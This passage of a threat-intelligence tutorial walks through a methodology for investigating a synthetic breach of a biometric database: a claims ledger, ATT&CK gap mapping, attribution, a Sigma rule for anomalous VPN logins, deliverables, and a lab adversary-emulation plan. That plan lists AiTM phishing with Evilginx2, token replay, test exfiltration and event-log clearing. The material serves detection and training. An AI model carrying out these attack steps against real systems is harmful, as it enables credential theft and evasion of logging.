confirmed offline by HR; IP geolocates to Iranian hosting provider | PIR-002 |<br>| CL-002 | The biometric_records database was fully exfiltrated (340,218 rows, 892.4 MB) at 02:47–02:51 IST | db-audit.jsonl:892 (SELECT *) + netflow (892.4 MB from db-01 to 185.234.x.x) | High | Scheduled backup — ruled out: backup confirmed at 04:00; no authorized job at 02:47; db-admin confirmed no maintenance scheduled | PIR-001 |<br>| CL-003 | Initial credential theft was via AiTM phishing, not brute force or purchase | Session token replay pattern in VPN auth (no prior failed auths, immediate successful auth from new IP); email delivery confirmed 5 min before VPN auth | Medium | Credential purchase / insider — cannot fully rule out without forensic analysis of contractor-07 endpoint | PIR-002 |<br>| CL-004 | Persistence mechanism is unknown; cannot be determined | No log coverage during GAP-001 (03:00–07:00); no scheduled task, registry, or service evidence outside this window | Insufficient | Unknown — GAP-001 prevents assessment | PIR-003 |<br>| CL-005 | No confirmed evidence of access after 2025-03-17 07:02 IST (Sysmon restart) | All log sources show no activity from 185.234.x.x after 03:21 | Medium | Adversary using different infrastructure after initial exfil — cannot rule out; recommend threat hunt | PIR-003 |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yONlPrE838ua7WNi6ho5Zg.png"></figure><p>The claims ledger drives everything downstream:</p><ul><li>Executive brief cites CL-IDs, not raw log lines</li><li>SOC handoff uses claims to justify IOC confidence</li><li>Attribution assessment cites claims as the evidence basis</li><li>Sigma rules reference which claim they would have detected</li></ul><pre>git add 03-analysis/claims/ 03-analysis/timeline/<br>git commit -m "PROJ-001: analysis — 16-event timeline, 5 claims; PIR-001 YES (CL-002), PIR-002 MEDIUM (CL-001/CL-003)"</pre><h3>Step R4: ATT&amp;CK Mapping with Gap Classification</h3><p><strong>File:</strong> 03-analysis/attck-mapping/attck-mapping.md | <strong>Time:</strong> 1–2 h</p><p>The ATT&amp;CK mapping has two purposes: documenting what happened (intelligence) and measuring detection coverage (operations). The <strong>Gap Type</strong> column is the operational output — it tells the SOC and engineering teams exactly what kind of work is needed for each missed technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvDNkZD3SroVie2Jw28HgA.png"></figure><pre>| # | Tactic | Technique | Sub | Evidence | Confidence | Rule Fired? | Gap Type | Remediation |<br>|---|---|---|---|---|---|---|---|---|<br>| 1 | Initial Access | T1566.001 | — | Email gateway log | High | Partial | Coverage incomplete | Fix email gateway rule to extract attachment hash |<br>| 2 | Credential Access | T1557 | — | VPN timing pattern (CL-003) | Medium | No | Rule missing | Write Sigma rule DET-002; VPN logs are in SIEM |<br>| 3 | Initial Access | T1078.001 | — | VPN auth (CL-001) | High | No | Rule missing | Write Sigma rule DET-003 for anomalous VPN auth |<br>| 4 | Lateral Movement | T1021.001 | — | Inferred (CL-002 timing) | Low | Unknown | Data source missing | Jump host logs not ingested — engineering ticket |<br>| 5 | Collection/Exfil | T1048.003 | — | DB audit + netflow (CL-002) | High | No | Data source missing | DB audit log not in SIEM — Logstash pipeline needed |<br>| 6 | Impact (unknown) | Unknown | — | GAP-001 | — | Unknown | Architectural gap | Sysmon reliability improvement — separate track |</pre><p><strong>Gap taxonomy (each type requires different remediation):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6GUO2cJkmFyqSUGMS2pdQ.png"></figure><p>Export the Navigator layer and commit it:</p><pre># In ATT&amp;CK Navigator: build your coverage layer (green=detected, yellow=partial, red=missed)<br># Export as JSON: Layer → Download as JSON<br># Save to: 03-analysis/attck-mapping/navigator-layer.json<br>git add 03-analysis/attck-mapping/<br>git commit -m "PROJ-001: ATT&amp;CK mapping - 6 techniques; 2 rule-missing, 2 data-source-missing, 1 incomplete, 1 arch-gap"</pre><p><strong>Decider — guided ATT&amp;CK mapping when the technique is unclear:</strong></p><p>When you observe a behavior but are not certain which ATT&amp;CK technique or sub-technique it maps to, <a href="https://github.com/cisagov/Decider">Decider</a> (CISA) walks you to the correct answer through a structured question tree. Instead of searching the ATT&amp;CK site manually, Decider asks what the adversary was trying to accomplish, then narrows to the correct tactic, technique, and sub-technique.</p><pre># Run Decider locally with Docker (one-time setup)<br>git clone https://github.com/cisagov/Decider.git<br>cd Decider<br>cp .env.docker .env<br># Edit .env — set DB_ADMIN_PASS, DB_KIOSK_PASS, CART_ENC_KEY, APP_ADMIN_PASS<br>cp -r default_config/. config/<br>sudo docker compose up<br># Visit http://localhost:8001</pre><p><strong>Workflow within Step R4:</strong></p><ol><li><strong>Question Tree</strong> — navigate Matrix → Tactic → Technique → Sub-technique by answering what the adversary did. Useful when the behavior is ambiguous (e.g., distinguishing T1059.001 from T1059.003 from an encoded command line, or deciding between T1078.001 and T1078.002 for a credential re-use event).</li><li><strong>Full Technique Search</strong> — boolean search with prefix-matching and stemming across all ATT&amp;CK descriptions. Faster than the ATT&amp;CK site when you have a partial technique name or keyword from a log line.</li><li><strong>Cart → Export</strong> — add confirmed techniques to the cart as you work through the mapping table. Export as a Navigator layer JSON (heatmap) or a formatted table for the attck-mapping.md file.</li></ol><p>Decider does not replace the ATT&amp;CK Navigator — it answers the “which technique is this?” question before you get to the Navigator layer. Use Decider to map, Navigator to visualize coverage.</p><p>Export the Navigator layer and commit it:</p><pre># In ATT&amp;CK Navigator: build your coverage layer (green=detected, yellow=partial, red=missed)<br># Export as JSON: Layer → Download as JSON<br># Save to: 03-analysis/attck-mapping/navigator-layer.json</pre><pre>git add 03-analysis/attck-mapping/<br>git commit -m "PROJ-001: ATT&amp;CK mapping - 6 techniques; 2 rule-missing, 2 data-source-missing, 1 incomplete, 1 arch-gap"</pre><h3>Step R5: Attribution Assessment</h3><p><strong>File:</strong> 03-analysis/attribution/attribution.md | <strong>Time:</strong> 1–2 h</p><p>Write the attribution section only after the claims ledger is complete. Attribution that precedes the evidence analysis is a hypothesis, not a conclusion. The sequence matters.</p><p><strong>The confidence ladder — use the correct language for the evidence you have:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rvLOfrTbbnV3ctLoJbzwbQ.png"></figure><p>Infrastructure pivoting for attribution — run from the C2 IP before enrichment ages:</p><pre># Passive DNS and co-hosting<br>curl "https://api.shodan.io/shodan/host/185.234.x.x?key=YOUR_KEY" | jq '.hostnames, .ports, .data[].banner'<br><br># VirusTotal for prior detection history and passive DNS<br># Certificate transparency - find co-hosted domains by SAN entries<br># MISP cross-correlation - does this IP appear in prior community events?<br>## Attribution Assessment - PROJ-001<br>### Evidence available<br>- AiTM credential interception via reverse proxy: consistent with CERT-IL CB-2025-041 actor profile<br>- C2 IP 185.234.x.x: passive DNS shows co-hosting with domains flagged in CERT-IL events<br>  CB-2025-039 and CB-2025-031 (confirmed via MISP cross-correlation)<br>- Tooling: cannot assess - no malware recovered due to GAP-001<br>- TTP overlap: T1557 + T1078.001 + T1048.003 consistent with cluster profile from CB-2025-041<br>### Confidence: Medium<br>Two data points (TTP overlap + infrastructure overlap with prior CERT-IL events) provide<br>corroborating evidence. Independent confirmation would require: (a) toolset match from<br>contractor-07 endpoint forensics, or (b) CERT-IL deconfliction confirming this IP in an<br>active track. Neither is currently available.<br>### Language for deliverables<br>"Activity assessed as consistent with the Iranian-nexus contractor-targeting cluster<br>documented in CERT-IL CB-2025-041 (medium confidence), based on AiTM tradecraft overlap<br>and C2 infrastructure observed in two prior CERT-IL-flagged events. Toolset confirmation<br>is not possible due to evidence gap GAP-001."</pre><h3>Step R6: Derive Sigma Rules for Every Missed Technique</h3><p><strong>Files:</strong> 04-detections/sigma/DET-NNN-name.yml | <strong>Time:</strong> 30–60 min per rule</p><p>For each “Rule missing” or “Coverage incomplete” entry in the ATT&amp;CK mapping, write a Sigma rule. The Sigma file references the investigation, the technique, and the validation result — creating a permanent link between intelligence and detection:</p><pre>title: Anomalous VPN Authentication — New Source IP for Known User<br>id: 7a3c9b1d-5678-4321-efab-9876543210cd<br>status: experimental<br>description: &gt;<br>  Detects a VPN authentication from a source IP with no prior history for the authenticating user.<br>  Consistent with AiTM credential replay (T1078.001 + T1557).<br>  Derived from PROJ-001 — initial access step, CL-001 (high confidence).<br>author: CTI Team — PROJ-001<br>date: 2025-03-19<br>logsource:<br>    category: network<br>    product: palo_alto_vpn        # adjust to your VPN product<br>detection:<br>    selection:<br>        event.action: vpn_auth_success<br>        user.name|exists: true<br>    filter_known:<br>        source.ip|cidr:<br>            - '10.0.0.0/8'         # corporate NAT ranges<br>            - '172.16.0.0/12'<br>    condition: selection and not filter_known<br>falsepositives:<br>    - VPN access from legitimate travel (new country/IP) — validate against HR travel records<br>    - New contractor onboarding from home IP — coordinate with IT<br>level: medium<br>tags:<br>    - attack.initial_access<br>    - attack.credential_access<br>    - attack.t1078.001<br>    - attack.t1557<br># PROJ-001: DET-003 | Gap: ATT&amp;CK row 3 (Rule missing)<br># Validated: PASS | 2025-03-19 | hayabusa against PROJ-001 evtx set</pre><p><strong>Validation before deployment:</strong></p><pre># Step 1: Confirm the rule fires on the known true-positive event in the incident evtx set<br>hayabusa csv-timeline \<br>  --directory ./evtx/ \<br>  --rules ./04-detections/sigma/DET-003-vpn-new-source-ip.yml \<br>  --output validate-DET-003.csv<br># Check the output includes the 02:14 event from contractor-07<br>grep "contractor-07" validate-DET-003.csv<br># Step 2: Convert to Elastic Lucene for deployment<br>pip install pySigma-backend-elasticsearch sigma-cli<br>sigma convert -t lucene -p ecs_windows \<br>  04-detections/sigma/DET-003-vpn-new-source-ip.yml<br># Step 3: Convert to ES|QL (alternative format for newer Elastic stacks)<br>sigma convert -t esql -p ecs_windows \<br>  04-detections/sigma/DET-003-vpn-new-source-ip.yml</pre><pre>git add 04-detections/<br>git commit -m "PROJ-001: detections — DET-001 through DET-004 written and validated PASS via Hayabusa"</pre><h3>Step R7: Produce Deliverables</h3><p><strong>Files:</strong> 05-deliverables/ | <strong>Time:</strong> 2–4 h</p><p><strong>Executive brief — maximum 1 page, no technical artifacts:</strong></p><pre># Incident Brief — PROJ-001 [TLP: AMBER]<br>2025-03-19 | For: CISO, IR Lead, Legal<br>## What happened<br>An assessed Iranian-nexus actor accessed the NDSA biometric records database on 2025-03-17<br>using stolen VPN credentials belonging to contractor-07, exfiltrating approximately 340,218<br>biometric records. Initial entry occurred at 02:14 IST; exfiltration completed by 02:51 IST.<br>## Business impact<br>INCD notification is required within 72 hours of discovery (deadline: 2025-03-20 02:14 IST).<br>Biometric Database Authority notification required under Section 12 of the Biometric Database Law.<br>No confirmed evidence of ongoing access as of investigation date.<br>## Key findings<br>- The adversary used valid contractor credentials obtained through suspected phishing - no brute<br>  force or technical exploit was required to enter the network<br>- The full biometric records table (340,218 records) was extracted in a single session lasting 4 minutes<br>- Three of five adversary techniques had no detection coverage at the time of the incident;<br>  none of the five triggered an alert<br>## What was not detected<br>The credential theft, the VPN login from an unrecognized IP, and the database exfiltration<br>all occurred without generating a single security alert. The incident was discovered through<br>a retrospective log review 36 hours after it concluded, not through real-time detection.<br>## Recommended actions<br>1. [IR Lead - by 18:00 today] Revoke and rotate all contractor VPN credentials<br>2. [CISO - by 02:14 IST 2025-03-20] File INCD notification using the PROJ-001 incident report<br>3. [SOC Lead - by end of week] Deploy detection rules DET-001 through DET-004 to Kibana; submit<br>   DB audit log pipeline to engineering as P0 ticket</pre><p><strong>SOC handoff contains the operational package — not narrative, only actionable data:</strong></p><pre># SOC Handoff — PROJ-001<br>## Current IOCs (valid as of 2025-03-19)<br>| Type | Value | Confidence | TTL | Action |<br>|---|---|---|---|---|<br>| IPv4 | 185.234.x.x | High | 30 days | Block at perimeter; alert on any new connections |<br>| Domain | spoofed.vendor@mailpro[.]cc | High | 30 days | Block at email gateway |<br>| SHA256 | 4a7f... (Q1-Invoice-2025.docx) | Medium | 90 days | Block at endpoint |<br>## Rules deployed / pending<br>| Rule ID | Status | CAB ticket | Covers |<br>|---|---|---|---|<br>| DET-001 | Deployed 2025-03-19 14:00 | CAB-2025-0341 | T1566.001 email delivery |<br>| DET-003 | Deployed 2025-03-19 14:00 | CAB-2025-0341 | T1078.001 anomalous VPN auth |<br>| DET-002 | Pending - blocked on VPN log pipeline | ENG-0234 | T1557 AiTM session replay |<br>| DET-004 | Pending - blocked on DB audit pipeline | ENG-0235 | T1048.003 DB exfiltration |<br>## Hunting queries (residual activity)<br>Hunt for additional sessions from the same ASN as 185.234.x.x in the 30 days before the incident.<br>Hunt for any contractor accounts that authenticated successfully from IPs with no prior history.<br>## Escalation criteria<br>Escalate immediately if:<br>- Any new connection from 185.234.x.x or the /24 subnet<br>- Any authentication from contractor-07 or other contractor accounts outside working hours<br>- Any new SELECT * queries against the biometric_records table</pre><h3>Proactive Mode: Full Walkthrough</h3><h3>Step P1: Copy the Template</h3><pre>cp -r CTI_as_a_Code/templates/proactive/ assessments/myorg-threat-model-2025-q2/<br>cd assessments/myorg-threat-model-2025-q2/<br>git init &amp;&amp; git add . &amp;&amp; git commit -m "PROJ-002: proactive scaffold initialized"</pre><p>Proactive template structure:</p><pre>proactive/<br>├── 00-scope/scope.md<br>├── 01-trigger-intelligence/<br>│   ├── trigger-assessment.md           ← summary across all triggers<br>│   └── triggers/<br>│       ├── TRG-001-cert-il-advisory.md<br>│       └── TRG-NNN-name.md             ← one file per trigger<br>├── 02-crown-jewels/<br>│   └── crown-jewels.md<br>├── 03-threat-model/<br>│   ├── attack-paths.md                 ← paths from entry to crown jewels<br>│   └── scenarios/<br>│       └── SCN-NNN-name.md             ← one per attack path<br>├── 04-detection-backlog/<br>│   └── detection-backlog.md<br>└── 07-deliverables/<br>    ├── executive-brief.md<br>    └── technical-brief.md</pre><h3>Step P2: Run the Intake</h3><p>Before you open any advisory or run any query, capture the commissioner’s requirements in a structured intake call.</p><p>→ <strong>Proactive Assessment — Intake</strong> — full intake form (trigger, crown jewels, detection posture, mandate, threat context, regulatory context), why each section matters, and how to commit the intake into the project git history.</p><h3>Step P3: Assess Trigger Intelligence</h3><p><strong>Files:</strong> 01-trigger-intelligence/triggers/TRG-NNN-name.md | <strong>Time:</strong> 2–4 h per trigger cycle</p><p>A trigger is an intelligence input that changes the threat assessment for this specific organization. Write one file per trigger:</p><pre># TRG-001 — CERT-IL CB-2025-041: AiTM Campaign Targeting Government Contractors<br>## What happened<br>CERT-IL advisory CB-2025-041 (2025-04-03) describes an active AiTM phishing campaign targeting<br>contractors with access to Israeli government identity and biometric systems. Three confirmed<br>victims in the municipal sector in March 2025. The adversary cluster replays intercepted session<br>tokens within 4–8 hours of interception.<br>## Source reliability<br>Source: CERT-IL - rating A (completely reliable; official government advisory from direct investigation)<br>Information: 1 (confirmed - CERT-IL investigated the victim cases directly)<br>Combined: High<br>## Relevance to THIS organization<br>- MyOrg operates contractor VPN with the same architecture described in CB-2025-041<br>- Contractor class accounts have direct read access to the biometric records database<br>- Two MyOrg contractors use the same IdP flagged in the advisory<br>- MyOrg's MFA is not enforced on VPN re-authentication for valid sessions - identical gap<br>## ATT&amp;CK techniques implied<br>- T1557 - AiTM session token interception<br>- T1078.001 - VPN authentication with stolen credentials<br>- T1048 - data exfiltration via authorized session (no alert triggered in victim cases)<br>## Detection action implied<br>PRIORITY: Verify whether VPN authentication logs are ingested into the SIEM.<br>If not - this is a P0 pipeline gap that blocks detection of the primary technique.<br>If yes - write AiTM detection rule immediately.<br>## Confidence<br>High - authoritative source, directly applicable to our architecture, confirmed active campaign.</pre><h3>Step P4: Crown Jewels Analysis</h3><p><strong>File:</strong> 02-crown-jewels/crown-jewels.md | <strong>Time:</strong> 2–4 h</p><p>Tier every asset by the business impact of compromise. Be specific — vague tier assignments produce vague threat models:</p><pre>## Tier 1 — Critical (compromise triggers regulatory notification or irreversible harm)<br>| Asset | System | Why Tier 1 | Notification trigger |<br>|---|---|---|---|<br>| Biometric records database | db-01 | 340K+ biometric records; Biometric Database Law §12 | Biometric Database Authority + INCD |<br>| Payment gateway | pay-gw-01 | PCI-DSS scope; real-time payment processing | BoI-CD 362 immediate notification |<br>| Active Directory | dc-01 | Domain takeover enables access to all Tier 1 systems | All downstream triggers |<br>| GovID authentication service | govid-svc-01 | National identity system; 2.1M citizen accounts | INCD mandatory notification |<br>## Tier 2 - High (enables attack on Tier 1)<br>| Asset | System | Attack path to Tier 1 |<br>|---|---|---|<br>| Contractor VPN gateway | vpn-gw-01 | Entry point; contractor accounts have db-01 read access |<br>| Contractor jump host | jump-01 | Pivot from DMZ to internal db-01 segment |<br>| Identity provider | idp-01 | Credential validation for all internal services |<br>| SIEM / logging infrastructure | siem-01 | Attacker visibility if compromised; evidence destruction risk |<br>## Tier 3 - Medium (operational impact, no regulatory trigger)<br>- Internal wikis and collaboration tools<br>- Development and staging environments (non-production data only)<br>- Monitoring dashboards<br><br>| Asset | System | Why Tier 1 | Notification trigger |<br>|---|---|---|---|<br>| Biometric records database | db-01 | 340K+ biometric records; Biometric Database Law §12 | Biometric Database Authority + INCD |<br>| Payment gateway | pay-gw-01 | PCI-DSS scope; real-time payment processing | BoI-CD 362 immediate notification |<br>| Active Directory | dc-01 | Domain takeover enables access to all Tier 1 systems | All downstream triggers |<br>| GovID authentication service | govid-svc-01 | National identity system; 2.1M citizen accounts | INCD mandatory notification |<br>## Tier 2 - High (enables attack on Tier 1)<br>| Asset | System | Attack path to Tier 1 |<br>|---|---|---|<br>| Contractor VPN gateway | vpn-gw-01 | Entry point; contractor accounts have db-01 read access |<br>| Contractor jump host | jump-01 | Pivot from DMZ to internal db-01 segment |<br>| Identity provider | idp-01 | Credential validation for all internal services |<br>| SIEM / logging infrastructure | siem-01 | Attacker visibility if compromised; evidence destruction risk |<br>## Tier 3 - Medium (operational impact, no regulatory trigger)<br>- Internal wikis and collaboration tools<br>- Development and staging environments (non-production data only)<br>- Monitoring dashboards</pre><h3>Step P5: Model Attack Scenarios</h3><p><strong>Files:</strong> 03-threat-model/scenarios/SCN-NNN-name.md | <strong>Time:</strong> 1–2 h per scenario</p><p>For each path from perimeter (or insider) to a Tier 1 asset, write a scenario. The scenario is not a story — it is a structured model that maps directly to detection tasks:</p><pre># SCN-001 — Contractor AiTM Phishing → Biometric Database Exfiltration<br>## Trigger basis<br>TRG-001 (CERT-IL CB-2025-041) - confirmed active campaign using this exact path<br>## Kill chain<br>| Step | Technique | Procedure | Current coverage |<br>|---|---|---|---|<br>| 1 | T1566.001 | Spearphishing link to spoofed VPN login page | Partial rule - browser-based phishing not covered |<br>| 2 | T1557 | AiTM proxy intercepts session token | No rule - VPN auth logs NOT in SIEM |<br>| 3 | T1078.001 | Token replay to VPN gateway | No rule - same pipeline gap |<br>| 4 | T1021.001 | RDP from jump host to db-01 | No rule - jump host Sysmon not collected |<br>| 5 | T1048.003 | Full-table SELECT; HTTPS exfil to C2 | No rule - DB audit log not in SIEM |<br>## Coverage verdict<br>0 of 5 techniques covered. All 5 require detection backlog entries.<br>3 of 5 are blocked by pipeline gaps (steps 2–4) - these require engineering work before rules can be written.<br>## Impact if scenario executes undetected<br>- 340K+ biometric records exfiltrated<br>- INCD and Biometric Database Authority notifications mandatory<br>- Estimated regulatory exposure: significant</pre><h3>Step P6: Build the Detection Backlog</h3><p><strong>File:</strong> 04-detection-backlog/detection-backlog.md | <strong>Time:</strong> 1–2 h</p><p>The detection backlog translates scenario analysis into sprint-ready engineering work. Every item has enough information to be picked up by a detection engineer without further context:</p><pre>| Pri | ID | Technique | Scenario | Pre-condition | Owner | Sprint | Status |<br>|---|---|---|---|---|---|---|---|<br>| P0 | ENG-001 | Pipeline | SCN-001 steps 2–3 | VPN auth logs must be ingested into SIEM before DET-B001/B002 can be written | Engineering | Sprint 1 | Blocked — pipeline |<br>| P0 | ENG-002 | Pipeline | SCN-001 step 5 | DB audit log must be ingested before DET-B003 | Engineering | Sprint 1 | Blocked — pipeline |<br>| P1 | DET-B001 | T1557 (AiTM) | SCN-001 step 2 | Requires ENG-001 | Detection | Sprint 2 | Waiting on ENG-001 |<br>| P1 | DET-B002 | T1078.001 | SCN-001 step 3 | Requires ENG-001 | Detection | Sprint 2 | Waiting on ENG-001 |<br>| P1 | DET-B003 | T1048.003 | SCN-001 step 5 | Requires ENG-002 | Detection | Sprint 2 | Waiting on ENG-002 |<br>| P2 | DET-B004 | T1021.001 | SCN-001 step 4 | Jump host Sysmon deployment needed | Detection | Sprint 3 | — |<br>| P2 | DET-B005 | T1566.001 | SCN-001 step 1 | Partial rule exists — needs browser phishing coverage added | Detection | Sprint 2 | Tuning existing rule |</pre><p><strong>P0 items are not detection rules — they are infrastructure prerequisites.</strong> The backlog separates these explicitly so the sprint plan is realistic: you cannot write an AiTM detection rule if the VPN logs are not in the SIEM. Making this visible prevents teams from reporting “rule written” while the actual gap remains open.</p><pre>git add .<br>git commit -m "PROJ-002: proactive complete — SCN-001 modeled, detection backlog 7 items (2 blocked on pipeline)"</pre><h3>Full Cycle Mode: Building a CTI Program</h3><p>Full Cycle applies when the task is not a single investigation but building the capability to run investigations continuously. It produces a governance structure, a PIR framework, and a collection plan.</p><pre>cp -r CTI_as_a_Code/templates/full-cycle/ programs/myorg-cti-program-2025/<br>cd programs/myorg-cti-program-2025/<br>git init &amp;&amp; git add . &amp;&amp; git commit -m "PROJ-003: full-cycle scaffold initialized"</pre><p>Before any program design work begins, run the intake to capture the sponsor’s mandate, stakeholder map, initial PIRs, and maturity target.</p><p>→ <strong>Full-Cycle Program — Intake</strong> — full intake form (program mandate, stakeholders, PIR register, collection requirements, sharing architecture, governance), why each section matters, and how to commit the intake as the program’s first artifact.</p><p><strong>Key outputs of full-cycle mode:</strong></p><p><strong>Stakeholder map</strong> — who receives what intelligence, at what classification level, on what schedule:</p><pre>| Stakeholder | Role | Products | TLP | Cadence |<br>|---|---|---|---|---|<br>| CISO | Executive sponsor | Strategic brief, program metrics | AMBER | Monthly |<br>| SOC Lead | Operational consumer | Tactical alert, IOC packages | RED | On-demand |<br>| Detection Engineering | Technical consumer | Sigma backlog, hunting hypotheses | RED | Weekly sprint |<br>| Legal / Compliance | Regulatory | Incident reports, regulatory notifications | AMBER | Per incident |<br>| CERT-IL | External sharing | Anonymized IOC packages | GREEN | Per incident |</pre><p><strong>PIR register</strong> — every PIR linked to a stakeholder decision:</p><pre>| ID | PIR | Stakeholder | Decision it drives | Review cadence |<br>|---|---|---|---|---|<br>| PIR-001 | Is the Iranian-nexus AiTM cluster from CERT-IL CB-2025-041 actively targeting our contractor VPN? | CISO | Contractor access architecture review | Monthly |<br>| PIR-002 | What is the current detection coverage rate across our top-10 adversary techniques? | SOC Lead | Sprint prioritization and backlog ordering | Bi-weekly |<br>| PIR-003 | Are any of our third-party suppliers under active targeting by nation-state actors? | Legal / Procurement | Supplier risk assessment and contract reviews | Quarterly |</pre><p><strong>Collection plan</strong> — sources mapped to PIRs, with gaps made explicit:</p><pre>| Source | PIRs | Reliability | Current status | Gap |<br>|---|---|---|---|---|<br>| CERT-IL advisories | PIR-001, PIR-003 | A/1 (High) | Active MOU — weekly digest | None |<br>| Internal SIEM alerts | PIR-002 | A/1 (High) | Active | VPN logs not ingested — ENG-001 |<br>| Recorded Future | PIR-001, PIR-002 | B/2 (Medium-High) | No subscription | Procurement Q3 2025 |<br>| Sector ISAC | PIR-003 | B/2 (Medium-High) | Membership lapsed | Renewal in progress |</pre><p>Collection gaps that block PIR answers are tracked as program risks with owners and deadlines — not just technical notes. A PIR that cannot be answered because a log source is not ingested is a program failure, not a SIEM problem.</p><h3>Adversary Emulation Mode: Validating Coverage</h3><p>Emulation runs after detections have been built. It answers the question: do these rules actually work against a real adversary executing these techniques?</p><pre>cp CTI_as_a_Code/templates/adversary-emulation.md \<br>   exercises/myorg-emulation-q3-2025.md</pre><p><strong>Build the emulation plan from a CTI report:</strong></p><pre># Emulation Plan — Operation Desert Cipher (Q3 2025)<br>## Authorization<br>Authorized by: CISO - ref: AUTH-2025-Q3-001<br>Scope: JUMPHOST-LAB and TARGET-LAB only; no production systems<br>Date: 2025-07-14 through 2025-07-16<br>## Threat intelligence basis<br>CTI report: training/A04-emulation-techpay/01-cti-report/operation-desert-cipher.md<br>Actor: Assessed Iranian-nexus cluster<br>## Module table<br>| # | Technique | Procedure | Tool | Expected alert | Pre-check |<br>|---|---|---|---|---|---|<br>| MOD-01 | T1566.001 | Send .docx with embedded macro | GoPhish | Email gateway + EDR | Email gateway logs ingested? |<br>| MOD-02 | T1557 | AiTM proxy against lab VPN portal | Evilginx2 | VPN auth anomaly rule | VPN logs in SIEM? |<br>| MOD-03 | T1078.001 | Replay captured session token | curl | Anomalous auth rule | DET-003 deployed? |<br>| MOD-04 | T1021.001 | RDP from jump host to target | mstsc | Lateral movement rule | Jump host Sysmon running? |<br>| MOD-05 | T1059.001 | Execute PowerShell from RDP session | powershell.exe | T1059 rule | DET-005 deployed? |<br>| MOD-06 | T1048.003 | Exfil dummy file via HTTPS | curl | Egress detection | DB audit rule deployed? |<br>| MOD-07 | T1070.001 | Clear Windows event logs | wevtutil | Log-clearing alert | DET-007 deployed? |</pre><p><strong>Execute and score:</strong></p><pre># Post-execution: scan lab evtx with all Sigma rules<br>hayabusa csv-timeline \<br>  --directory ./lab-evtx/ \<br>  --output emulation-results-$(date +%Y%m%d).csv \<br>  --profile verbose<br># Check which modules fired<br>grep -E "T1557|T1078|T1059|T1048|T1021|T1070|T1566" emulation-results-*.csv</pre><p><strong>Coverage matrix with root cause for every FAIL:</strong></p><pre>| Module | Technique | Result | Root Cause | Remediation |<br>|---|---|---|---|---|<br>| MOD-01 | T1566.001 | PARTIAL | Rule fired; attachment hash missing — email gateway log field not parsed | Fix Logstash parser for email gateway |<br>| MOD-02 | T1557 | FAIL | Rule not deployed — VPN log pipeline not complete at exercise date | ENG-001 still open; reschedule after pipeline completes |<br>| MOD-03 | T1078.001 | PASS | Alert within 90 seconds | — |<br>| MOD-04 | T1021.001 | PASS | Alert within 2 min | — |<br>| MOD-05 | T1059.001 | PASS | Alert within 45 seconds | — |<br>| MOD-06 | T1048.003 | FAIL | Data source missing — DB audit log pipeline not complete | ENG-002 still open |<br>| MOD-07 | T1070.001 | PASS | Alert within 20 seconds | — |<br>## Summary: 4 PASS (57%) | 1 PARTIAL (14%) | 2 FAIL (29%)<br>## Both FAILs trace to open engineering tickets, not missing detection rules.</pre><h3>Git Discipline — The Same for All Modes</h3><p>The git log is the audit trail. Commit phase by phase with informative messages:</p><pre># After intake<br>git add 00-scope/intake.md<br>git commit -m "PROJ-001: intake — initial hypothesis AiTM contractor theft; 3 PIRs identified"<br># After scope sign-off<br>git add 00-scope/scope.md<br>git commit -m "PROJ-001: scope - signed off by CISO 2025-03-18; TLP AMBER; legal hold"<br># After evidence inventory<br>git add 01-evidence/<br>git commit -m "PROJ-001: evidence - 5 sources, GAP-001 (4h Sysmon 03-17), checksums committed"<br># After timeline and claims<br>git add 03-analysis/<br>git commit -m "PROJ-001: analysis - 16 events, 5 claims; PIR-001 answered YES (CL-002)"<br># After ATT&amp;CK mapping<br>git add 03-analysis/attck-mapping/<br>git commit -m "PROJ-001: ATT&amp;CK mapping - 6 techniques, 2 rule-missing, 2 data-missing, 1 incomplete"<br># After detections validated<br>git add 04-detections/<br>git commit -m "PROJ-001: detections - DET-001 to DET-004 validated PASS via Hayabusa"<br># After deliverables complete<br>git add 05-deliverables/<br>git commit -m "PROJ-001: deliverables - executive brief and SOC handoff; INCD notification ready"</pre><p><strong>Rules:</strong></p><ul><li>One commit per completed phase — not one bulk commit at the end</li><li>Never edit a committed evidence file — create a new amendment document and commit that</li><li>Commit messages: project ID + phase + factual one-line summary of what changed</li><li>When an assessment changes (e.g., CL-003 confidence downgraded), commit the change with a message explaining why</li></ul><h3>Minimum-Viable Path: No Lab Required</h3><p>The full methodology runs without Docker. Replace each lab component:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tR6BsLsvAFquFYPRJMsbAA.png"></figure><p>The intake template, evidence labels, claims ledger, ATT&amp;CK gap taxonomy, and git commit discipline apply identically with or without the lab stack.</p><h3>The Ecosystem</h3><p>CTI as a Code is one part of a practitioner ecosystem:</p><ul><li><a href="https://anpa1200.github.io/CTI_as_a_Code/">CTI as a Code</a> — Lab stack, investigation scaffolds, and training assignments. Use when running an investigation or building detection coverage.</li><li><a href="https://anpa1200.github.io/cti-analyst-field-manual/">CTI Analyst Field Manual</a> — Analytic tradecraft standard. Use when you need the full methodology behind evidence labels, PIR design, attribution, and CTI-to-detection.</li><li><a href="https://anpa1200.github.io/israel-government-threat-actors-cti/">Israel Government Threat Actors CTI</a> — Israeli sector threat knowledge base. Use when working on any Israeli government, CII, or public sector engagement.</li><li><a href="https://anpa1200.github.io/customer-driven-ai-cti-project/">Customer-Driven AI CTI</a> — CTI delivery methodology. Use when turning CTI work into a managed customer engagement with quality gates.</li><li><a href="https://anpa1200.github.io/CTI_as_a_Code/ecosystem">Ecosystem page</a> — End-to-end cross-project workflows.</li></ul><p>See the <a href="https://anpa1200.github.io/CTI_as_a_Code/ecosystem">Ecosystem page</a> for end-to-end cross-project workflows.</p><h3>Where to Start</h3><pre># Get the project<br>git clone https://github.com/anpa1200/CTI_as_a_Code.git<br>cd CTI_as_a_Code<br># Reactive: copy the template, run intake, start scoping<br>cp -r templates/reactive/ ../my-first-investigation/<br>cd ../my-first-investigation/<br>git init &amp;&amp; git add . &amp;&amp; git commit -m "PROJ-001: scaffold initialized"<br>cp 00-scope/scope.md 00-scope/intake.md   # use the intake template from this article<br># fill in intake.md during the first call, then scope.md after<br># Or open a fully worked example to see the complete methodology applied<br>ls CTI_as_a_Code/training/A01-reactive-lifetech/</pre><p>The 8 training assignments in the repository are fully populated: project brief, synthetic evidence data, all analytical files, and worked solutions. <strong>A01</strong> (reactive, 52-hour Iranian-nexus breach) is the best starting point for reactive work. <strong>A02</strong> (proactive, nation-state telecom targeting) for 